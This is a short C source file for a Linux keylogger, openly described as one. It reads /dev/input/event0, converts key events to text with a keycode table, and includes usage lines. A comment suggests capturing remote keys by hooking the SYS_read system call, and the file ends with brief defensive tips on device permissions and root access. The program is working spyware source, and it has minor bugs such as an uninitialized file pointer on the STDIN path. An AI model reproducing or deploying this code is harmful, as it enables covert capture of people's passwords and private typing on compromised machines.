c/keylogger/klog.c

   1 /* event0log.c v0.7
   2  * <~~Harvie 2oo8-2o21
   3  * THX2:        Dayvee (Idea), joe@aol.com (Reversing),
   4  *                              -=Punka][Tux=- (BugReport),
   5  *                              Warriant's code (Inspiration), Linus (Linux)
   6  *
   7  * Converts /dev/input/event0 format to ASCII. (If you have nore keyboards,)
   8  * In other words: this is keylogger for Linux.
   9  * If you have more keyboards, try other events (event1, ...eventX).
  10  * Only local keyboard is supported,
  11  *  remote keys can be captured by hooking on SYS_read() system call.
  12  *
  13  * Build:
  14  * - gcc argv[0].c -o argv[0]
  15  *
  16  * Usage (all examples do the same):
  17  * - cat /dev/input/event0 | argv[0]
  18  * - argv[0] /dev/input/event0
  19  * - argv[0] -
  20  *
  21  * Adding new keystroke values:
  22  * - <XXX> = keystroke id
  23  * - set MAXSTROKE to 0 to get only keystroke values
  24  *
  25  * Defensive security:
  26  * - chown & chmod /dev/input/event0
  27  * - don't give cheap root to everybody
  28  */
  29
  30 #include <stdio.h>
  31 #include <stdlib.h>
  32 #include <stdint.h>
  33 #include <unistd.h>
  34 #include <signal.h>
  35 #define DEFAULTINPUT "/dev/input/event0"
  36
  37 typedef struct __attribute__((__packed__)) input_event_s {
  38         struct timeval time;
  39         unsigned short type;
  40         unsigned short code;
  41         unsigned int value;
  42 } input_event_t;
  43
  44 #define MAXSTROKE 127 //Set higest keystroke code in DB (lower will not be converted)
  45 char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard:
  46         "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]",
  47         "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n",
  48         "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\",
  49         "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ",
  50         "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]",
  51         "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2",   "3", "0",
  52         "[./DEL-NUM]", "<84>", "<85>", "[MACRO-\\|]", "[F11]", "[F12]",
  53         "<89>", "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "[ENTER-NUM]\n",
  54         "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]",    "<101>",
  55         "[HOME]", "[UP]", "[PG-UP]", "[LEFT]", "[RIGHT]", "[END]", "[DOWN]", "[PG-DN]", "[INS]", "[DEL]",
  56         "<112>", "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]",
  57         "<120>","<121>", "<122>", "<123>", "<124>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]"
  58         /* Hint:
  59                 [CAPSL][ESC]    = CapsLock On
  60                 [CAPSL]         = CapsLock Off
  61                 [NUML]<0>       = NumLock On
  62                 [NUML]          = NumLock Off
  63                 3[ESC]3         = Escape
  64         */
  65 };
  66
  67 void cleanup(void) {
  68         fclose(stdin);
  69         fclose(stdout);
  70 }
  71
  72 static void sigint_handler(int signo) {
  73         exit(0);
  74 }
  75
  76 int main(int argc, char *argv[]) {
  77
  78         atexit(&cleanup);
  79         signal(SIGINT, &sigint_handler);
  80         signal(SIGTERM, &sigint_handler);
  81         signal(SIGQUIT, &sigint_handler);
  82         signal(SIGSEGV, &sigint_handler);
  83
  84
  85         FILE *ftest;
  86         printf("Reading data from: ");
  87         if(argc > 1 && argv[1][0] != '-') {
  88                 ftest = freopen(argv[1], "rb", stdin);
  89                 printf("%s\n", argv[1]);
  90         }
  91         if(argc > 1 && argv[1][0] == '-') {
  92                 ftest = freopen(DEFAULTINPUT, "rb", stdin);
  93                 printf("%s\n", DEFAULTINPUT);
  94         }
  95         if(argc == 1) {
  96                 printf("STDIN\n", argv[1]);
  97         }
  98
  99         if(ftest == NULL) {
 100                 printf("Failed to open file!\n\n");
 101                 return(1);
 102         }
 103         setbuf(stdout, NULL);
 104
 105         printf("Keystroke DB size: %d B (0-%d)\n\n", sizeof(strokes), MAXSTROKE);
 106
 107         input_event_t input_event;
 108         while(1) {
 109                 read(0, &input_event, sizeof(input_event_t));
 110                 if(input_event.type != 1 || input_event.value != 1) continue;
 111                 //printf("\nTYPE:%d\tCODE:%d\tVAL:%d\t", input_event.type, input_event.code, input_event.value);
 112                 if(input_event.code <= MAXSTROKE) {
 113                         printf("%s", strokes[input_event.code]);
 114                 } else {
 115                         printf("<%d>", input_event.code);
 116                 }
 117         }
 118
 119 }